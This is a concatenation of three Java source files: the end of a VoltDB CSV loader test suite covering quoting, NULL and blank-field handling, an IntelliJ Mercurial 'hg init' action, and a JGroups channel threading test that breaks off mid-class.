"7,NULL,7,7777777, seventh, 7.70, 7.77,"+currentTime,
"11, 1,1,\"1,000\",first,1.10,1.11,"+currentTime,
//empty line
"",
//invalid lines below
"8, 8",
"10,10,10,10 101 010,second,2.20,2.22"+currentTime,
"12,n ull,12,12121212,twelveth,12.12,12.12"
};
int invalidLineCnt = 3;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testOpenQuote() throws Exception
{
// 221794,0,2228449581,"Stella&DotCircleLinkChains15\""delicatechain","2010-10-07 14:35:26"
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_integer1 integer default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(200) default null, " +
"clm_timestamp timestamp default null " +
"); ";
String []myOptions = {
"-f" + path_csv,
//"--procedure=blah.insert",
"--reportdir=" + reportDir,
//"--table=BLAH",
"--maxerrors=50",
//"-user",
"--user=",
"--password=",
"--port=",
"--separator=,",
"--quotechar=\"",
"--escape=\\",
"--skip=0",
"BlAh"
};
String []myData = {
//"221794,0,2228449581,\"Stella&DotCircleLinkChains15\\\"\"delicatechain\",\"2010-10-07 14:35:26\"",
"221794,0,2228449581,\"Stella&DotCircleLinkChains15\\\"\"delicatechain"+ "\n" +"nextline\",\"2010-10-07 14:35:26\"",
};
int invalidLineCnt = 0;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testOpenQuoteAndStrictQuotes() throws Exception
{
// 221794,0,2228449581,"Stella&DotCircleLinkChains15\""delicatechain","2010-10-07 14:35:26"
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_integer1 integer default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(200) default null, " +
"clm_timestamp timestamp default null " +
"); ";
String []myOptions = {
"-f" + path_csv,
//"--procedure=blah.insert",
"--reportdir=" + reportDir,
//"--table=BLAH",
"--maxerrors=50",
//"-user",
"--user=",
"--password=",
"--port=",
"--separator=,",
"--quotechar=\"",
"--escape=\\",
"--skip=0",
"--strictquotes",
"BlAh"
};
String []myData = {
//"221794,0,2228449581,\"Stella&DotCircleLinkChains15\\\"\"delicatechain\",\"2010-10-07 14:35:26\"",
"\"221794\",\"0\",\"2228449581\",\"Stella&DotCircleLinkChains15\\\"\"delicatechain"+ "\n" +"nextline\",\"2010-10-07 14:35:26\"",
};
int invalidLineCnt = 0;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testUnmatchQuote() throws Exception
{
//test the following csv data
//221794,0,2228449581,"Stella&DotCircleLinkChains15\""delicatechain","2010-10-07 14:35:26"
//221794,0,2228449581,"Stella&DotCircleLinkChains15\""delicatechain
//nextline,"2010-10-07 14:35:26"
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_integer1 integer default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(200) default null, " +
"clm_timestamp timestamp default null " +
"); ";
String []myOptions = {
"-f" + path_csv,
//"--procedure=blah.insert",
"--reportdir=" + reportDir,
//"--table=BLAH",
"--maxerrors=50",
//"-user",
"--user=",
"--password=",
"--port=",
"--separator=,",
"--quotechar=\"",
"--escape=\\",
"--skip=0",
//"--strictquotes",
"BlAh"
};
String []myData = {
//valid line from shopzilla: unmatched quote is between two commas(which is treated as strings).
"221794,0,2228449581,\"Stella&DotCircleLinkChains15\\\"\"delicatechain\",\"2010-10-07 14:35:26\"",
//invalid line: unmatched quote
"221794,0,2228449581,\"Stella&DotCircleLinkChains15\\\"\"delicatechain"+ "\n" +"nextline,\"2010-10-07 14:35:26\"",
};
int invalidLineCnt = 1;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testNULL() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(20) default null, " +
"clm_decimal decimal default null, " +
"clm_float float default null "+
//"clm_timestamp timestamp default null, " +
//"clm_varinary varbinary default null" +
"); ";
String []myOptions = {
"-f" + path_csv,
//"--procedure=BLAH.insert",
"--reportdir=" + reportDir,
"--maxerrors=50",
"--user=",
"--password=",
"--port=",
"--separator=,",
"--quotechar=\"",
"--escape=\\",
"--skip=0",
//"--strictquotes",
"BLAH"
};
//Both \N and \\N as csv input are treated as NULL
String []myData = {
"1,\\" + VoltTable.CSV_NULL + ",1,11111111,\"\"NULL\"\",1.10,1.11",
"2," + VoltTable.QUOTED_CSV_NULL + ",1,11111111,\"NULL\",1.10,1.11",
"3," + VoltTable.CSV_NULL + ",1,11111111, \\" + VoltTable.CSV_NULL + " ,1.10,1.11",
"4," + VoltTable.CSV_NULL + ",1,11111111, " + VoltTable.QUOTED_CSV_NULL + " ,1.10,1.11",
"5,\\" + VoltTable.CSV_NULL + ",1,11111111, \" \\" + VoltTable.CSV_NULL + " \",1.10,1.11",
"6,\\" + VoltTable.CSV_NULL + ",1,11111111, \" \\" + VoltTable.CSV_NULL + " L \",1.10,1.11",
"7,\\" + VoltTable.CSV_NULL + ",1,11111111, \"abc\\" + VoltTable.CSV_NULL + "\" ,1.10,1.11"
};
int invalidLineCnt = 0;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testBlankNull() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(20) default null, " +
"clm_decimal decimal default null, " +
"clm_float float default null, "+
"clm_timestamp timestamp default null, " +
"clm_varinary varbinary default null" +
"); ";
String []myOptions = {
"-f" + path_csv,
"--reportdir=" + reportDir,
"--blank=" + "null",
"BLAH"
};
String []myData = {
"1,,,,,,,,",
};
int invalidLineCnt = 0;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testBlankEmpty() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(20) default null, " +
"clm_decimal decimal default null, " +
"clm_float float default null, "+
"clm_timestamp timestamp default null, " +
"clm_varinary varbinary default null" +
"); ";
String []myOptions = {
"-f" + path_csv,
"--reportdir=" + reportDir,
"--blank=" + "empty",
"BLAH"
};
String []myData = {
"0,,,,,,,,",
};
int invalidLineCnt = 0;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
//SuperCSV treats empty string "" as null
public void testBlankError() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(20) default null, " +
"clm_decimal decimal default null, " +
"clm_float float default null, "+
"clm_timestamp timestamp default null, " +
"clm_varinary varbinary default null" +
"); ";
String []myOptions = {
"-f" + path_csv,
"--reportdir=" + reportDir,
"--blank=" + "error",
"BLAH"
};
String []myData = {
"0,,,,,,,,",
};
int invalidLineCnt = 1;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testStrictQuote() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"); ";
String []myOptions = {
"-f" + path_csv,
"--reportdir=" + reportDir,
"--strictquotes",
"BLAH"
};
String []myData = {
"\"1\",\"1\",\"1\"",
"2,2,2",
"3,3,3",
"\"4\",\"4\",\"4\"",
};
int invalidLineCnt = 2;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testSkip() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(20) default null, " +
"clm_decimal decimal default null, " +
"clm_float float default null, "+
//"clm_varinary varbinary default null," +
"clm_timestamp timestamp default null " +
"); ";
String []myOptions = {
"-f" + path_csv,
//"--procedure=blah.insert",
"--reportdir=" + reportDir,
//"--table=BLAH",
"--maxerrors=50",
//"-user",
"--user=",
"--password=",
"--port=",
"--separator=,",
"--quotechar=\"",
"--escape=\\",
"--skip=10",
//"--strictquotes",
"BlAh"
};
String currentTime = new TimestampType().toString();
String []myData = { "1,1,1,11111111,first,1.10,1.11,"+currentTime,
"2,2,2,222222,second,3.30,NULL,"+currentTime,
"3,3,3,333333, third ,NULL, 3.33,"+currentTime,
"4,4,4,444444, NULL ,4.40 ,4.44,"+currentTime,
"5,5,5,5555555, \"abcde\"g, 5.50, 5.55,"+currentTime,
"6,6,NULL,666666, sixth, 6.60, 6.66,"+currentTime,
"7,NULL,7,7777777, seventh, 7.70, 7.77,"+currentTime,
"11, 1,1,\"1,000\",first,1.10,1.11,"+currentTime,
//empty line
"",
//invalid lines below
"8, 8",
"10,10,10,10 101 010,second,2.20,2.22"+currentTime,
"12,n ull,12,12121212,twelveth,12.12,12.12"
};
int invalidLineCnt = 2;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testEmptyFile() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(20) default null, " +
"clm_decimal decimal default null, " +
"clm_float float default null, "+
"clm_timestamp timestamp default null, " +
"clm_varinary varbinary default null" +
"); ";
String []myOptions = {
"-f" + path_csv,
"--reportdir=" + reportDir,
"--blank=" + "empty",
"BLAH"
};
String []myData = null;
int invalidLineCnt = 0;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testEscapeChar() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_string varchar(20), " +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"); ";
String []myOptions = {
"-f" + path_csv,
"--reportdir=" + reportDir,
"--escape=~",
"BLAH"
};
String []myData = {
"~\"escapequotes,1,1,1",
"~\\nescapenewline,2,2,2",
"~'escapeprimesymbol,3,3,3"
};
int invalidLineCnt = 0;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testNoWhiteSpace() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_string varchar(20), " +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"); ";
String []myOptions = {
"-f" + path_csv,
"--reportdir=" + reportDir,
"--nowhitespace",
"BLAH"
};
String []myData = {
"nospace,1,1,1",
" frontspace,2,2,2",
"rearspace ,3,3,3",
"\" inquotespace \" ,4,4,4"
};
int invalidLineCnt = 3;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void testColumnLimitSize() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_string varchar(20), " +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"); ";
String []myOptions = {
"-f" + path_csv,
"--reportdir=" + reportDir,
"--columnlimitsize=10",
"BLAH"
};
String []myData = {
"\"openquote,1,1,1",
"second,2,2,2",
"third,3,3,3"
};
int invalidLineCnt = 1;
test_Interface( mySchema, myOptions, myData, invalidLineCnt );
}
public void test_Interface( String my_schema, String[] my_options, String[] my_data, int invalidLineCnt ) throws Exception {
try{
BufferedWriter out_csv = new BufferedWriter( new FileWriter( path_csv ) );
for( int i = 0; i < my_data.length; i++ )
out_csv.write( my_data[ i ]+"\n" );
out_csv.flush();
out_csv.close();
}
catch( Exception e) {
System.err.print( e.getMessage() );
}
try{
pathToCatalog = Configuration.getPathToCatalogForTest("csv.jar");
pathToDeployment = Configuration.getPathToCatalogForTest("csv.xml");
builder = new VoltProjectBuilder();
//builder.addStmtProcedure("Insert", "insert into blah values (?, ?, ?);", null);
//builder.addStmtProcedure("InsertWithDate", "INSERT INTO BLAH VALUES (974599638818488300, 5, 'nullchar');");
builder.addLiteralSchema(my_schema);
builder.addPartitionInfo("BLAH", "clm_integer");
boolean success = builder.compile(pathToCatalog, 2, 1, 0);
assertTrue(success);
MiscUtils.copyFile(builder.getPathToDeployment(), pathToDeployment);
config = new VoltDB.Configuration();
config.m_pathToCatalog = pathToCatalog;
config.m_pathToDeployment = pathToDeployment;
localServer = new ServerThread(config);
client = null;
localServer.start();
localServer.waitForInitialization();
client = ClientFactory.createClient();
client.createConnection("localhost");
prepare();
CSVLoader.main( my_options );
// do the test
VoltTable modCount;
modCount = client.callProcedure("@AdHoc", "SELECT * FROM BLAH;").getResults()[0];
System.out.println("data inserted to table BLAH:\n" + modCount);
int rowct = modCount.getRowCount();
BufferedReader csvreport = new BufferedReader(new FileReader(CSVLoader.pathReportfile));
int lineCount = 0;
String line = "";
String promptMsg = "Number of rows successfully inserted:";
String promptFailMsg = "Number of rows that could not be inserted:";
int invalidlinecnt = 0;
while ((line = csvreport.readLine()) != null) {
if (line.startsWith(promptMsg)) {
String num = line.substring(promptMsg.length());
lineCount = Integer.parseInt(num.replaceAll("\\s",""));
}
if( line.startsWith(promptFailMsg)){
String num = line.substring(promptFailMsg.length());
invalidlinecnt = Integer.parseInt(num.replaceAll("\\s",""));
}
}
System.out.println(String.format("The rows infected: (%d,%s)", lineCount, rowct));
assertEquals(lineCount, rowct);
assertEquals(invalidLineCnt, invalidlinecnt);
}
finally {
if (client != null) client.close();
client = null;
if (localServer != null) {
localServer.shutdown();
localServer.join();
}
localServer = null;
// no clue how helpful this is
System.gc();
}
}
}
|
package org.zmlx.hg4idea.action;
import com.intellij.openapi.actionSystem.AnActionEvent;
import com.intellij.openapi.actionSystem.CommonDataKeys;
import com.intellij.openapi.progress.util.BackgroundTaskUtil;
import com.intellij.openapi.project.DumbAwareAction;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.project.ProjectManager;
import com.intellij.openapi.vcs.ProjectLevelVcsManager;
import com.intellij.openapi.vcs.VcsNotifier;
import com.intellij.openapi.vfs.VfsUtilCore;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.vcsUtil.VcsImplUtil;
import com.intellij.vcsUtil.VcsUtil;
import org.jetbrains.annotations.NotNull;
import org.zmlx.hg4idea.HgVcs;
import org.zmlx.hg4idea.HgVcsMessages;
import org.zmlx.hg4idea.command.HgInitCommand;
import org.zmlx.hg4idea.execution.HgCommandResult;
import org.zmlx.hg4idea.ui.HgInitAlreadyUnderHgDialog;
import org.zmlx.hg4idea.ui.HgInitDialog;
import org.zmlx.hg4idea.util.HgErrorUtil;
import org.zmlx.hg4idea.util.HgUtil;
import static com.intellij.util.ObjectUtils.notNull;
import static java.util.Objects.requireNonNull;
/**
* Action for initializing a Mercurial repository.
* Command "hg init".
*/
public class HgInit extends DumbAwareAction {
private Project myProject;
@Override
public void actionPerformed(@NotNull AnActionEvent e) {
myProject = notNull(e.getData(CommonDataKeys.PROJECT), ProjectManager.getInstance().getDefaultProject());
// provide window to select the root directory
final HgInitDialog hgInitDialog = new HgInitDialog(myProject);
if (!hgInitDialog.showAndGet()) {
return;
}
final VirtualFile selectedRoot = hgInitDialog.getSelectedFolder();
if (selectedRoot == null) {
return;
}
// check if the selected folder is not yet under mercurial and provide some options in that case
final VirtualFile vcsRoot = HgUtil.getNearestHgRoot(selectedRoot);
VirtualFile mapRoot = selectedRoot;
boolean needToCreateRepo = false;
if (vcsRoot != null) {
final HgInitAlreadyUnderHgDialog dialog = new HgInitAlreadyUnderHgDialog(myProject,
selectedRoot.getPresentableUrl(),
vcsRoot.getPresentableUrl());
if (!dialog.showAndGet()) {
return;
}
if (dialog.getAnswer() == HgInitAlreadyUnderHgDialog.Answer.USE_PARENT_REPO) {
mapRoot = vcsRoot;
}
else if (dialog.getAnswer() == HgInitAlreadyUnderHgDialog.Answer.CREATE_REPO_HERE) {
needToCreateRepo = true;
}
}
else { // no parent repository => creating the repository here.
needToCreateRepo = true;
}
boolean finalNeedToCreateRepo = needToCreateRepo;
VirtualFile finalMapRoot = mapRoot;
BackgroundTaskUtil.executeOnPooledThread(myProject, () ->
{
if (!finalNeedToCreateRepo || createRepository(requireNonNull(myProject), selectedRoot)) {
updateDirectoryMappings(finalMapRoot);
proposeUpdateHgignoreFile(finalMapRoot);
}
});
}
private void proposeUpdateHgignoreFile(VirtualFile finalMapRoot) {
HgVcs hgVcs = HgVcs.getInstance(myProject);
if (hgVcs != null) {
VcsImplUtil.proposeUpdateIgnoreFile(myProject, hgVcs, finalMapRoot);
}
}
// update vcs directory mappings if new repository was created inside the current project directory
private void updateDirectoryMappings(VirtualFile mapRoot) {
if (myProject != null && (!myProject.isDefault()) && myProject.getBaseDir() != null &&
VfsUtilCore.isAncestor(myProject.getBaseDir(), mapRoot, false)) {
mapRoot.refresh(false, false);
final String path = mapRoot.equals(myProject.getBaseDir()) ? "" : mapRoot.getPath();
ProjectLevelVcsManager manager = ProjectLevelVcsManager.getInstance(myProject);
manager.setDirectoryMappings(VcsUtil.addMapping(manager.getDirectoryMappings(), path, HgVcs.VCS_NAME));
}
}
public static boolean createRepository(@NotNull Project project, @NotNull final VirtualFile selectedRoot) {
HgCommandResult result = new HgInitCommand(project).execute(selectedRoot.getPath());
if (!HgErrorUtil.hasErrorsInCommandExecution(result)) {
VcsNotifier.getInstance(project).notifySuccess(HgVcsMessages.message("hg4idea.init.created.notification.title"),
HgVcsMessages.message("hg4idea.init.created.notification.description",
selectedRoot.getPresentableUrl()));
return true;
}
else {
new HgCommandResultNotifier(project.isDefault() ? null : project)
.notifyError(result, HgVcsMessages.message("hg4idea.init.error.title"), HgVcsMessages.message("hg4idea.init.error.description",
selectedRoot.getPresentableUrl()));
return false;
}
}
}
|
// $Id: ChannelMonoTest.java,v 1.7 2003/09/24 18:31:46 belaban Exp $
package org.jgroups.tests;
import junit.framework.TestCase;
import org.apache.log4j.Logger;
import org.jgroups.Channel;
import org.jgroups.ChannelClosedException;
import org.jgroups.ChannelException;
import org.jgroups.ChannelNotConnectedException;
import org.jgroups.JChannel;
import org.jgroups.Message;
import org.jgroups.TimeoutException;
import org.jgroups.View;
import org.jgroups.util.Util;
/*
* Tests operations on one Channel instance with various threads reading/writing :
* - one writer, n readers with or without timeout
* - one reader, n writers
* @author rds13
*/
public class ChannelMonoTest extends TestCase
{
private Channel channel = null;
static Logger logger = Logger.getLogger(ChannelMonoTest.class);
String channelName = "ChannelLg4jTest";
public ChannelMonoTest(String Name_)
{
super(Name_);
}
public void setUp()
{
try
{
channel = new JChannel(null);
channel.connect(channelName);
}
catch (ChannelException e)
{
logger.error("Channel init problem", e);
}
}
public void tearDown()
{
channel.disconnect();
channel.close();
channel = null;
}
public void testChannel()
{
assertNotNull(channel);
assertTrue(channel.isOpen());
assertTrue(channel.isConnected());
}
public void testLargeInsertion()
{
long start, stop;
int nitems = 10000;
try
{
logger.info("Inserting " + nitems + " elements");
ReadItems mythread = new ReadItems(0, nitems);
mythread.start();
start = System.currentTimeMillis();
for (int i = 0; i < nitems; i++)
channel.send(new Message(null, null, new String("Msg #" + i).getBytes()));
mythread.join();
stop = System.currentTimeMillis();
logger.info("Took " + (stop - start) + " msecs");
assertEquals(nitems, mythread.getNum_items());
assertFalse(mythread.isAlive());
}
catch (Exception ex)
{
logger.error("Problem", ex);
assertTrue(false);
}
}
/**
* Multiple threads call receive(timeout), one threads then adds an element and another one.
* Only 2 threads should actually terminate
* (the ones that had the element)
*/
public void testBarrierWithTimeOut()
{
RemoveOneItemWithTimeout[] removers = new RemoveOneItemWithTimeout[10];
int num_dead = 0;
long timeout = 200;
for (int i = 0; i < removers.length; i++)
{
removers[i] = new RemoveOneItemWithTimeout(i, timeout);
removers[i].start();
}
Util.sleep(5000);
logger.info("-- adding element 99");
try
{
channel.send(null, null, new Long(99));
}
catch (Exception ex)
{
logger.error("Problem", ex);
}
Util.sleep(5000);
logger.info("-- adding element 100");
try
{
channel.send(null, null, new Long(100));
}
catch (Exception ex)
{
logger.error("Problem", ex);
}
Util.sleep(5000);
for (int i = 0; i < removers.length; i++)
{
logger.info("remover #" + i + " is " + (removers[i].isAlive() ? "alive" : "terminated"));
if (!removers[i].isAlive())
{
num_dead++;
}
}
assertEquals(2, num_dead);
// Testing handling of disconnect by reader threads
channel.disconnect();
// channel.close();
Util.sleep(2000);
for (int i = 0; i < removers.length; i++)
{
try
{
logger.debug("Waiting for thread " + i + " to join");
removers[i].join();
}
catch (InterruptedException e)
{
logger.error("Thread joining() interrupted", e);
}
}
num_dead = 0;
for (int i = 0; i < removers.length; i++)
{
logger.info("remover #" + i + " is " + (removers[i].isAlive() ? "alive" : "terminated"));
if (!removers[i].isAlive())
{
num_dead++;
}
}
assertEquals(removers.length, num_dead);
// help garbage collecting
for (int i = 0; i < removers.length; i++)
{
removers[i] = null;
}
}
/**
* Multiple threads add one element, one thread read them all.
*/
public void testMultipleWriterOneReader()
{
AddOneItem[] adders = new AddOneItem[10];
int num_dead = 0;
int num_items = 0;
int items = 200;
for (int i = 0; i < adders.length; i++)
{
adders[i] = new AddOneItem(i, items);
adders[i].start();
}
Object obj;
Message msg;
while (num_items < (adders.length * items))
{
try
{
obj = channel.receive(0); // no timeout
if (obj instanceof View)
logger.info("--> NEW VIEW: " + obj);
else if (obj instanceof Message)
{
msg = (Message) obj;
num_items++;
logger.debug("Received " + msg.getObject());
}
}
catch (ChannelNotConnectedException conn)
{
logger.error("Problem", conn);
assertTrue(false);
break;
}
catch (TimeoutException e)
{
logger.error("Main thread timed out but should'nt had...", e);
assertTrue(false);
break;
}
catch (Exception e)
{
logger.error("Problem", e);
break;
}
}
assertEquals(adders.length * items, num_items);
Util.sleep(1000);
for (int i = 0; i < adders.length; i++)
{
try
{
logger.debug("Waiting for thread " + i + " to join");
adders[i].join();
logger.info("adder #" + i + " is " + (adders[i].isAlive() ? "alive" : "terminated"));
if (!adders[i].isAlive())
{
num_dead++;
}
adders[i] = null;
}
catch (InterruptedException e)
{
logger.error("Thread joining() interrupted", e);
}
}
assertEquals(adders.length, num_dead);
}
/**
* Multiple threads call receive(0), one threads then adds an element and another one.
* Only 2 threads should actually terminate
* (the ones that had the element)
* NOTA: This test must be the last one as threads are not stopped at the end of the test.
*/
public void testBarrier()
{
ReadItems[] removers = new ReadItems[10];
int num_dead = 0;
for (int i = 0; i < removers.length; i++)
{
removers[i] = new ReadItems(i, 1);
removers[i].start();
}
Util.sleep(1000);
logger.info("-- adding element 99");
try
{
channel.send(null, null, new String("99").getBytes());
}
catch (Exception ex)
{
logger.error("Problem", ex);
}
Util.sleep(5000);
logger.info("-- adding element 100");
try
{
channel.send(null, null, new String("100").getBytes());
}
catch (Exception ex)
{
logger.error("Problem", ex);
}
Util.sleep(1000);
for (int i = 0; i < removers.length; i++)
{
logger.info("remover #" + i + " is " + (removers[i].isAlive() ? "alive" : "terminated"));
if (!removers[i].isAlive())
{
num_dead++;
}
}
assertEquals(2, num_dead);
}
/**
* Multiple threads add one element, one thread read them all.
*/
public void testMultipleWriterMultipleReader()
{
logger.info("start testMultipleWriterMultipleReader");
int nWriters = 3;
int nReaders = 5;
Writer[] adders = new Writer[nWriters];
Reader[] readers = new Reader[nReaders];
int num_dead = 0;
int num_items = 0;
int[] writes = new int[nWriters];
int[] reads = new int[nReaders];
for (int i = 0; i < readers.length; i++)
{
readers[i] = new Reader(channel, i, reads);
readers[i].start();
}
Util.sleep(2000);
for (int i = 0; i < adders.length; i++)
{
adders[i] = new Writer(channel, i, writes);
adders[i].start();
}
// give writers time to write !
Util.sleep(15000);
// stop all writers
for (int i = 0; i < adders.length; i++)
{
adders[i].stopThread();
}
// give time to writers to stop
Util.sleep(1000);
// checking all writers are stopped
for (int i = 0; i < adders.length; i++)
{
try
{
logger.debug("Waiting for Writer thread " + i + " to join");
adders[i].join(1000);
logger.info("adder #" + i + " is " + (adders[i].isAlive() ? "alive" : "terminated"));
adders[i] = null;
}
catch (InterruptedException e)
{
logger.error("Thread joining() interrupted", e);
}
}
// give time for readers to read back data
Util.sleep(10000);
logger.info("Number of messages in channel queue :"+channel.getNumMessages());
channel.close();
// give time to readers to catch ChannelClosedException
boolean allStopped = true;
do
{
allStopped = true;
Util.sleep(2000);
for (int i = 0; i < readers.length; i++)
{
try
{
logger.debug("Waiting for Reader thread " + i + " to join");
readers[i].stopThread(); // added by Bela
readers[i].join(1000);
if (readers[i].isAlive())
{
allStopped = false;
logger.info("reader #"+i+" "+reads[i]+" read items");
}
logger.info("reader #" + i + " is " + (readers[i].isAlive() ? "alive" : "terminated"));
}
catch (InterruptedException e)
{
logger.error("Thread joining() interrupted", e);
}
}
}
while (!allStopped);
int total_writes = 0;
for (int i = 0; i < writes.length; i++)
{
total_writes += writes[i];
}
int total_reads = 0;
for (int i = 0; i < reads.length; i++)
{
total_reads += reads[i];
}
logger.info("Total writes:" + total_writes);
logger.info("Total reads:" + total_reads);
assertEquals(total_writes, total_reads);
logger.info("end testMultipleWriterMultipleReader");
}
class ReadItems extends Thread
{
private boolean looping = true;
int num_items = 0;
int max = 0;
int rank;
public ReadItems(int rank, int num)
{
super("ReadItems thread #" + rank);
this.rank = rank;
this.max = num;
setDaemon(true);
}
public void stopLooping()
{
looping = false;
}
public void run()
{
Object obj;
Message msg;
while (looping)
{
try
{
obj = channel.receive(0); // no timeout
if (obj instanceof View)
logger.info("Thread #" + rank + ":--> NEW VIEW: " + obj);
else if (obj instanceof Message)
{
msg = (Message) obj;
num_items++;
if (num_items >= max)
looping = false;
logger.debug("Thread #" + rank + " received :" + new String(msg.getBuffer()));
}
}
catch (ChannelNotConnectedException conn)
{
logger.error("Thread #" + rank + ": problem", conn);
looping = false;
}
catch (TimeoutException e)
{
logger.error("Thread #" + rank + ": channel timed out but should'nt have...", e);
looping = false;
}
catch (ChannelClosedException e)
{
logger.debug("Thread #" + rank + ": channel closed", e);
looping = false;
}
catch (Exception e)
{
logger.error("Thread #" + rank + ": problem", e);
looping = false;
}
}
}
/**
* @return
*/
public int getNum_items()
{
return num_items;
}
}
class RemoveOneItem extends Thread
{
private boolean looping = true;
int rank;
Long retval = null;
public RemoveOneItem(int rank)
{
super("RemoveOneItem thread #" + rank);
this.rank = rank;
setDaemon(true);
}
public void stopLooping()
{
looping = false;
}
public void run()
{
Object obj;
Message msg;
while (looping)
{
try
{
obj = channel.receive(0); // no timeout
if (obj instanceof View)
logger.info("Thread #" + rank + ":--> NEW VIEW: " + obj);
else if (obj instanceof Message)
{
msg = (Message) obj;
looping = false;
retval = (Long) msg.getObject();
logger.debug("Thread #" + rank + ": received " + retval);
}
}
catch (ChannelNotConnectedException conn)
{
logger.error("Thread #" + rank + ": problem", conn);
looping = false;
}
catch (TimeoutException e)
{
logger.error("Thread #" + rank + ": channel time out but should'nt have...", e);
looping = false;
}
catch (Exception e)
{
logger.error("Thread #" + rank + ": problem", e);
}
}
}
Long getRetval()
{
return retval;
}
}
class AddOneItem extends Thread
{
Long retval = null;
int rank = 0;
int iteration = 0;
AddOneItem(int rank, int iteration)
{
super("AddOneItem thread #" + rank);
this.rank = rank;
this.iteration = iteration;
setDaemon(true);
}
public void run()
{
try
{
for (int i = 0; i < iteration; i++)
{
channel.send(null, null, new Long(rank));
logger.debug("Thread #" + rank + " added element (" + rank + ")");
}
}
catch (ChannelException ex)
{
logger.error("Thread #" + rank + ": channel was closed", ex);
}
}
}
class RemoveOneItemWithTimeout extends Thread
{
Long retval = null;
int rank = 0;
long timeout = 0;
RemoveOneItemWithTimeout(int rank, long timeout)
{
super("RemoveOneItemWithTimeout thread #" + rank);
this.rank = rank;
this.timeout = timeout;
setDaemon(true);
}
public void run()
{
boolean finished = false;
Object obj;
Message msg;
while (!finished)
{
try
{
obj = channel.receive(timeout);
if (obj != null)
{
if (obj instanceof View)
logger.info("Thread #" + rank + ":--> NEW VIEW: " + obj);
else if (obj instanceof Message)
{
msg = (Message) obj;
retval = (Long) msg.getObject();
finished = true;
logger.debug("Thread #" + rank + " received :" + retval);
}
}
else
{
logger.debug("Thread #" + rank + ": channel read NULL");
}
}
catch (ChannelNotConnectedException conn)
{
logger.error("Thread #" + rank + " problem", conn);
finished = true;
}
catch (TimeoutException e)
{
// logger.debug("Thread #" + rank + ": channel timed out", e);
}
catch (ChannelClosedException e)
{
logger.debug("Thread #" + rank + ": channel closed", e);
finished = true;
}
catch (Exception e)
{
logger.error("Thread #" + rank + " problem", e);
finished = true;
}
}
}
Long getRetval()
{
return retval;
}
}
class Writer extends Thread
{
int rank = 0;
int num_writes = 0;
boolean running = true;
int[] writes = null;
Channel channel = null;
Writer(Channel channel, int i, int[] writes)
{
super("WriterThread");
rank = i;
this.writes = writes;
this.channel = channel;
setDaemon(true);
}
public void run()
{
while (running)
{
try
{
channel.send(null, null, new Long(System.currentTimeMillis()));
Util.sleepRandom(50);
num_writes++;
}
catch (ChannelException closed)
{
running = false;
}
catch (Throwable t)
{
logger.debug("ChannelTest.Writer.run(): exception=" + t, t);
}
}
writes[rank] = num_writes;
}
void stopThread()
{
running = false;
}
}
class Reader extends Thread
{
int rank;
int num_reads = 0;
int[] reads = null;
boolean running = true;
Channel channel = null;
Reader(Channel channel, int i, int[] reads)
{
super("Reader thread
rank = i;
this.reads = reads;
setDaemon(true);
this.channel = channel;
}
public void run()
{
Long retval;
Message msg = null;
while (running)
{
try
{
Object obj = channel.receive(0); // no timeout
if (obj instanceof View)
logger.info("Reader thread #" + rank + ":--> NEW VIEW: " + obj);
else if (obj instanceof Message)
{
